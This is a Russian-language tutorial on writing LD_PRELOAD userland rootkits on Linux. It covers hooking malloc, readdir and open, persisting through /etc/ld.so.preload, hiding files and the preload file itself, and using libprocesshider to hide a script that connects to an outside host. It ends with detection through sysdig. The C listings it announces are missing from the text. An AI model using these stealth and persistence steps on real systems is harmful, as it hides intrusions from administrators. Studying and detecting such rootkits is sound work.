Создание userland-руткитов с помощью LD_PRELOAD
Что такое LD_PRELOAD?
LD_PRELOAD — это переменная среды в системах Linux, которая предназначена для указания пути к разделяемой библиотеке. Причем при указании этой переменной динамический линкер загрузит вашу .so библиотеку раньше остальных. Таким образом появляется возможность переопределять системные вызовы и заменить их на свои собственные.
В первую очередь LD_PRELOAD предназначена для простого метода отладки или проверки функций в динамически подключаемых библиотеках без необходимости исправлять или перекомпилировать саму библиотеку.
Есть два способа зарегистрировать библиотеку для предзагрузки ld.so:
- Установка переменной среды LD_PRELOAD с файлом библиотеки
- Запись пути к библиотеке в файл /etc/ld.so.preload
В первом случае мы объявляем переменную с библиотекой для текущего пользователя и его окружения. Во втором же, наша библиотека будет загружена раньше остальных для всех пользователей системы.
Нам интересен как раз второй способ, так как именно он часто используется в руткитах для перехвата некоторых вызовов, таких как чтение файла, листинг директории, процессов и прочих функций, позволяющих злоумышленнику скрывать свое присутствие в системе.
Переопределение системных вызовов
Прежде чем мы начнем сближение с реальным функционалом руткитов, давайте на небольшом примере я покажу, как можно перехватить вызов стандартной функции malloc().
Для этого напишем простую программу, которая выделяет выделяет блок памяти с помощью функции malloc(), затем помещает в него функцией strncpy() строку I will be back и выводит ее посредством fprintf() по адресу, который вернула malloc().
Создаем файл call_malloc.c:
Теперь напишем программу переопределяющую malloc(). Внутри функция с тем же именем, что и в libc. Наша функция не делает ничего, кроме вывода строки в STDERR c помощью fprintf(). Создадим файл libmalloc.c:
Теперь с помощью gcc скомпилируем наш код:
ls
(out)call_malloc.c libmalloc.c
gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
gcc -o call_malloc call_malloc.c
ls
(out)call_malloc call_malloc.c libmalloc.c libmalloc.so
Выполним нашу программу call_malloc:
./call_malloc
(out)malloc(): 0x5585b2466260
(out)Str: I will be back
Посмотрим какие библиотеки использует наша программа с помощью утилиты ldd:
ldd ./call_malloc
(out) linux-vdso.so.1 (0x00007fff0cd81000)
(out) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d35c74000)
(out) /lib64/ld-linux-x86-64.so.2 (0x00007f0d35e50000)
Отлично видно, что без использования предзагрузчика LD_PRELOAD стандартно загружаются три библиотеки:
- linux-vdso.so.1 – представляет собой виртуальный динамический разделяемый объект (Virtual Dynamic Shared Object, VDSO), используемый для оптимизации часто используемых системных вызовов. Его можно игнорировать (подробнее $ man 7 vdso).
- libc.so.6 – наша библиотека libc с используемой нами функцией malloc() в программе call_malloc.
- ld-linux-x86-64.so.2 – сам динамический компоновщик.
Теперь давайте определим переменную LD_PRELOAD и попробуем перехватить malloc(). Здесь я не буду использовать export и ограничусь однострочной командой для простоты:
LD_PRELOAD=./libmalloc.so ./call_malloc
(out)Hijacked malloc(256)
(out)Ошибка сегментирования
Как видим, мы успешно перехватили malloc() из библиотеки libc.so, но не совсем чисто это сделали. Функция возвращает значение указателя NULL, которая при разыменовании strncpy() в программе ./call_malloc вызывает ошибку сегментирования. Исправим это.
Обработка сбоев
Чтобы иметь возможность незаметно выполнить полезную нагрузку руткита, нам нужно вернуть значение, которое вернула бы первоначально вызванная функция. У нас есть 2 способа решить эту проблему:
- Наша функция malloc() должна реализовывать функциональность malloc() библиотеки libc по запросу пользователя. Это полностью избавит от необходимости использования malloc() из libc.so.
- libmalloc.so каким-то образом должна иметь возможность вызывать malloc() библиотеки libc и возвращать результаты вызывающей программе.
Каждый раз при вызове malloc(), динамический компоновщик вызывает версию malloc() из libmalloc.so, поскольку это первое вхождение malloc(). Но мы хотим вызвать следующее вхождение malloc(), то есть то, что присутствует в libc.so.
Так происходит потому, что динамический компоновщик внутри использует функцию dlsym() из /usr/include/dlfcn.h для поиска адреса загруженного в память.
По умолчанию в качестве первого аргумента для dlsym() используется дескриптор RTLD_DEFAULT, который возвращает адрес первого вхождения символа. Однако есть еще один псевдо-указатель динамической библиотеки — RTLD_NEXT, который ищет следующее вхождение. Используя RTLD_NEXT мы можем найти функцию malloc() библиотеки libc.so.
Отредактируем libmalloc.с. Комментарии объясняют, что происходит внутри программы:
Теперь давайте посмотрим, как отработает наша библиотека в этот раз. Снова компилируем и смотрим на результат работы:
gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
LD_PRELOAD=./libmalloc.so ./call_malloc
(out)Hijacked malloc(256)
(out)malloc(): 0x55ca92740260
(out)Str: I will be back
Отлично! Как мы видим, все прошло гладко. Сначала при первом вхождении malloc() была использована наша реализация этой функции, а затем оригинальная реализация из библиотеки libc.so.
Теперь, когда у нас есть понимание, как работает LD_PRELOAD и каким образом мы можем предопределять работу со стандартными функциями системы, самое время применить эти знания на практике.
Попробуем разобраться с листингом файлов утилиты ls с последующим сокрытием из него файла руткита.
Кошки мышки
Скрываем файл из листинга ls
Большинство динамически скомпилированных программ используют системные вызовы стандартной библиотеки libc. С помощью утилиты ldd посмотрим, какие библиотеки использует программа ls:
ldd /bin/ls
(out)...
(out)libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ade498000)
(out)...
Как видим, ls динамически скомпилирована с использование функций библиотеки libc.so. Теперь посмотрим, какие системные вызовы для чтения директории использует утилита ls. Для этого в пустой директории выполним ltrace ls:
ltrace ls
(out)memcpy(0x55de4a72e9b0, ".\0", 2) = 0x55de4a72e9b0
(out)__errno_location() = 0x7f3a35b07218
(out)opendir(".") = 0x55de4a72e9d0
(out)readdir(0x55de4a72e9d0) = 0x55de4a72ea00
(out)readdir(0x55de4a72e9d0) = 0x55de4a72ea18
(out)readdir(0x55de4a72e9d0) = 0
(out)closedir(0x55de4a72e9d0) = 0
Как видим, при выполнении команды без аргументов ls использует системные вызовы opendir(), readdir() и closedir(), которые являются частью библиотеки libc. Следовательно, используя информацию выше о LD_PRELOAD и ее возможностях переопределения стандартных вызовов собственными, давайте напишем простую библиотеку, которая позволит нам изменить эти функцию readdir() для сокрытия файла libmalloc.so.
На этом моменте разумнее использовать другое имя нашей библиотеки, ведь от демонстрации перехвата функции malloc() мы переходим к написанию простого руткита без нагрузки, который просто прячем сам себя от глаз администратора системы.
Создам новую директорию rootkit и буду работать в ней.
Напишем новую библиотеку. Создадим файл rkit.c. Комментарии помогут разобраться, каким образом происходит сокрытие файла:
Компилируем и проверяем работу:
gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
ls -lah
(out)итого 28K
(out)drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
(out)drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
(out)-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c
(out)-rwxr-xr-x 1 n0a n0a 16K ноя 23 23:46 rootkit.so
LD_PRELOAD=./rootkit.so ls -lah
(out)итого 12K
(out)drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
(out)drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
(out)-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c
Как видим, нам удалось скрыть файл rootkit.so от посторонних глаз. Пока мы тестировали нашу библиотеку исключительно в пределах одной команды.
Используем /etc/ld.so.preload
Давайте воспользуемся записью в /etc/ld.so.preload для сокрытия нашего файла для всех пользователей системы. Для этого запишем в ld.so.preload путь до нашей библиотеки:
ls
(out)rkit.c rootkit.so
echo $(pwd)/rootkit.so > /etc/ld.so.preload
(out)ls
rkit.c
Как видим, теперь мы скрыли файл ото всех пользователей (хотя это не совсем так, но об этом позже). Но теперь опытный администратор может довольно легко нас обнаружить, так как само по себе наличие файла /etc/ld.so.preload может говорить о присутствии руткита (особенно, если его раньше там не было).
Скрываем сам ld.so.preload
Ок, давайте попытаемся скрыть из листинга и сам файл ld.so.preload. Немного модифицируем наш код rkit.c:
Для наглядности я добавил к нашей предыдущей программе еще один макрос LD_PL c именем файла ld.so.preload, который мы также добавили в цикл while, где сравниваем имя файла для скрытия.
После компиляции оригинальный файл rootkit.so будет перезаписан и из вывода утилиты ls пропадет и нужный файл ld.so.preload. Проверяем:
gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
ls
(out)rkit.c
ls /etc/
(out)...
(out)ldap tmpfiles.d
(out)ld.so.cache ucf.conf
(out)ld.so.conf udev
(out)ld.so.conf.d udisks2
(out)libao.conf ufw
(out)libaudit.conf update-motd.d
(out)libblockdev UPower
(out)...
Здорово! Мы только что стали на один шаг скрытнее. Вроде бы это победа, но не спешите радоваться.
Погружаемся глубже
Давайте проверим, сможем ли мы прочитать файл ld.so.preload командой cat:
cat /etc/ld.so.preload
(out)/root/rootkit/src/rootkit.so
Так так так. Получается мы плохо спрятались, если наличие нашего файла можно проверить простым чтением. Почему так вышло?
Очевидно, что для получения содержимого утилита cat использует вызов другой функции, отличной от readdir(), которую мы так старательно переписывали. Ну что же, давайте посмотрим, что использует от libc программа cat:
ltrace cat /etc/ld.so.preload
(out)...
(out)__fxstat(1, 1, 0x7ffded9f6180) = 0
(out)getpagesize() = 4096
(out)open("/etc/ld.so.preload", 0, 01) = 3
(out)__fxstat(1, 3, 0x7ffded9f6180) = 0
(out)posix_fadvise(3, 0, 0, 2) = 0
(out)...
На этот раз нам нужно поработать с функцией open(). Поскольку мы уже опытные, давайте добавим в наш руткит функцию, которая при обращении к файлу /etc/ld.so.preload, будет вежливо говорить, что файла не существует (Error NO ENTry или просто ENOENT).
Снова модифицируем rkit.c:
Здесь мы добавили кусок кода, которые делает то же самое, что и с readdir(). Компилируем и проверяем:
gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
cat /etc/ld.so.preload
(out)cat: /etc/ld.so.preload: Нет такого файла или каталога
Так гораздо лучше. Но это еще не все. Далеко не все. У нас осталось еще много возможных вариантов обнаружения /etc/ld.so.preload.
Мы до сих пор можем без проблем удалить файл, переместить его со сменой имени для просмотра командой ls, поменять ему права без уведомления об ошибке. Даже bash услужливо продолжит его имя при нажатии на TAB.
Как правило, в хороших руткитах использующих пользовательское окружение с LD_PRELOAD реализован перехват следующих функций:
- listxattr, llistxattr, flistxattr
- getxattr, lgetxattr, fgetxattr
- setxattr, lsetxattr, fsetxattr
- removexattr, lremovexattr, fremovexattr
- open, open64, openat, creat
- unlink, unlinkat, rmdir
- symlink, symlinkat
- mkdir, mkdirat, chdir, fchdir, opendir, opendir64, fdopendir, readdir, readdir64
- execve
В рамках этого материала мы их все разбирать не будем. Однако общее представление, как это работает у вас уже должно сформироваться. Например, реализацию хуков вышеперечисленных функций можно посмотреть на примере руткита cub3. Там все тот же dlsym() и RTLD_NEXT.
Скрываем процесс с помощью LD_PRELOAD
При работе руткиту нужно как-то скрывать свою активность от стандартных утилит мониторинга, таких как lsof, ps, top и тд. Выше мы уже довольно детально разобрались, как работает переопределение функций LD_PRELOAD.
Для процессов все тоже самое, более того, стандартные программы используют в своей работе procfs, которая является виртуальной файловой системой и представляем собой интерфейс для взаимодействия с ядром ОС.
Причем работа на чтение и запись ведется также, как и с обычной файловой системой. То есть, как вы уже наверно догадались, readdir() из наших экспериментов выше не нужно далеко прятать :)
libprocesshider
Сам же процесс скрытия активности из мониторинга предлагаю рассмотреть на хорошем примере libprocesshider от Gianluca Borello, являющимся автором sysdig.com (о sysdig и методах обнаружения LD_PRELOAD руткитов будет рассказано в конце этого метериала).
Давайте скопируем код с гитхаба и разберемся, что к чему:
git clone https://github.com/gianlucaborello/libprocesshider
cd libprocesshider
ls
(out)evil_script.py Makefile processhider.c README.md
В описании к libprocesshider все просто: делаем make, копируем в /usr/local/lib/ и добавляем в /etc/ld.so.preload. Сделаем все, кроме последнего:
make
(out)gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
sudo mv libprocesshider.so /usr/local/lib/
Теперь давайте посмотрим, как каким образом ps получает информацию о процессах. Для этого запустим ltrace:
ltrace /bin/ps
(out)...
(out)time(0) = 1606208519
(out)meminfo(0, 4096, 0, 0x7f1787ce9207) = 0
(out)openproc(96, 0, 0, 0) = 0x55c6f9f145c0
(out)readproc(0x55c6f9f145c0, 0x55c6f8258580, 0x7f1787651010, 0) = 0x55c6f8258580
(out)readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 7) = 0x55c6f8258580
(out)readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5) = 0x55c6f8258580
(out)readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5) = 0x55c6f8258580
(out)...
Для получения информации о процессе используется функция readproc(). Посмотрим реализацию этой функции в файле readproc.c:
Из кода выше ясно, что получение PID процессов идет путем вызова readdir() в цикле for. Другими словами, если нет директории процесса – нет и самого процесса для утилит мониторинга. Приведу пример части кода libprocesshider, где уже знакомым нам методом мы скрываем директорию процесса:
Причем само имя процесса get_process_name() берется из /proc/pid/stat.
Давайте перейдем к проверке наших догадок. Для этого запустим предлагаемый evil_script.py в фоне:
./evil_script.py 1.2.3.4 1234 &
(out)[1] 3435
3435 – PID нашего работающего процесса evil_script.py. Проверим вывод утилиты htop и убедимся, evil_script.py присутствует в списке процессов:
Проверим вывод ps и lsof для обнаружения сетевой активности:
sudo ps aux | grep evil_script.py
(out)root 3435 99.5 0.4 19272 8260 pts/1 R 11:48 63:20 /usr/bin/python ./evil_script.py 1.2.3.4 1234
(out)root 3616 0.0 0.0 6224 832 pts/0 S+ 12:52 0:00 grep evil_script.py
sudo lsof -ni | grep evil_scri
(out)evil_scri 3435 root 3u IPv4 41410 0t0 UDP 192.168.232.138:52676->1.2.3.4:1234
Теперь посмотрим наличие директории с PID процесса evil_script.py:
sudo ls /proc | grep 3435
(out)3435
cat /proc/3435/status
(out)Name: evil_script.py
(out)Umask: 0022
(out)State: R (running)
(out)Tgid: 3435
(out)Ngid: 0
(out)Pid: 3435
(out)...
Все предсказуемо. Теперь самое время добавить библиотеку libprocesshider.so в предзагрузку глобально для все системы в /etc/ld.so.preload:
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
Проверяем директорию /proc, а также вывод lsof и ps.
ls /proc | grep 3435
lsof -ni | grep evil_scri
ps aux | grep evil_script.py
root 3707 0.0 0.0 6244 900 pts/0 S+ 13:10 0:00 grep evil_script.py
Как видим, результат на лицо. Однако, мы по прежнему можем посмотреть статус процесса в файле /proc/3435/status
cat /proc/3435/status
(out)Name: evil_script.py
(out)Umask: 0022
(out)State: R (running)
(out)Tgid: 3435
(out)Ngid: 0
(out)Pid: 3435
(out)...
Подытожим. В первой части статьи я рассмотрел методы перехвата функций и их изменение применительно к основному функционалу руткитов, а также рассмотрел идентичный процесс скрытия из листинга основных утилит мониторинга в арсенале любого Linux.
Как вы уже догадались, простые руткиты довольно легко поддаются детекту. Это может быть различная игра с доступом в файлу /etc/ld.so.preload или профайлинг используемых библиотек программы с помощью ldd.
Но что делать, если автор руткита настолько хорош, что захукал все возможные функции, ldd молчит, а подозрения на сетевую или иную активность присутствует?
Sysdig как решение
В отличии от стандартных инструментов Sysdig устроен по-другому. По архитектуре он близок к таким продуктам, как libcap, tcpdump, wireshark.
Специальный драйвер sysdig probe перехватывает системные события на уровне ядра, после чего запускается функция ядра tracepoints, которая, в свою очередь запускает для этих событий обработчики. Обработчики сохраняют информацию о событии в cовместно используемом буфере.
Затем эта информация может быть выведена на экран или сохранена в текстовом файле.
Давайте посмотрим, как определяется evil_script.py с помощью sysdig. Загрузка центрального процессора:
sudo sysdig -c topprocs_cpu
(out)CPU% Process PID
(out)---------------------------------------------
(out)99.00% evil_script.py 5979
(out)2.00% sysdig 5997
(out)0.00% sshd 928
(out)0.00% wpa_supplicant 474
(out)0.00% systemd 909
(out)0.00% exim4 850
(out)0.00% sshd 938
(out)0.00% su 948
(out)0.00% in:imklog 472
(out)0.00% in:imuxsock 472
Можно посмотреть выполнение ps. Бонусом sysdig покажет, что динамический компоновщик загружал libprocesshide пользовательскую библиотеку раньше libc:
sudo sysdig proc.name = ps
(out)2731 00:21:52.721054253 1 ps (3351) < execve res=0 exe=ps args=aux. tid=3351(ps) pid=3351(ps) (out)ptid=3111(bash) cwd=/home/gianluca fdlimit=1024 pgft_maj=0 pgft_min=62 vm_size=512 vm_rss=4 vm_swap=0
(out)...
(out)2739 00:21:52.721129329 1 ps (3351) < open fd=3(/usr/local/lib/libprocesshider.so) name=/usr/local/lib/libprocesshider.so flags=1(O_RDONLY) mode=0
(out)2740 00:21:52.721130670 1 ps (3351) > read fd=3(/usr/local/lib/libprocesshider.so) size=832
(out)...
(out)2810 00:21:52.721293540 1 ps (3351) > open
(out)2811 00:21:52.721296677 1 ps (3351) < open fd=3(/lib/x86_64-linux-gnu/libc.so.6) name=/lib/x86_64-linux-gnu/libc.so.6 flags=1(O_RDONLY) mode=0
(out)2812 00:21:52.721297343 1 ps (3351) > read fd=3(/lib/x86_64-linux-gnu/libc.so.6) size=832
(out)...
Стоит отметить, что аналогичный функционал предоставляют утилиты SystemTap, DTrace и его свежая полноценная замена — BpfTrace.
Доп. литература
- https://haxelion.eu/article/LD_NOT_PRELOADED_FOR_REAL/
- https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
- https://3proxy.org/articles/reveng/
- https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
- https://habr.com/ru/post/479858/
- https://habr.com/ru/post/199090/
- https://habr.com/ru/post/106107/
- https://github.com/topics/ld-preload
- https://volatility-labs.blogspot.com/2012/09/movp-24-analyzing-jynx-rootkit-and.html
- http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/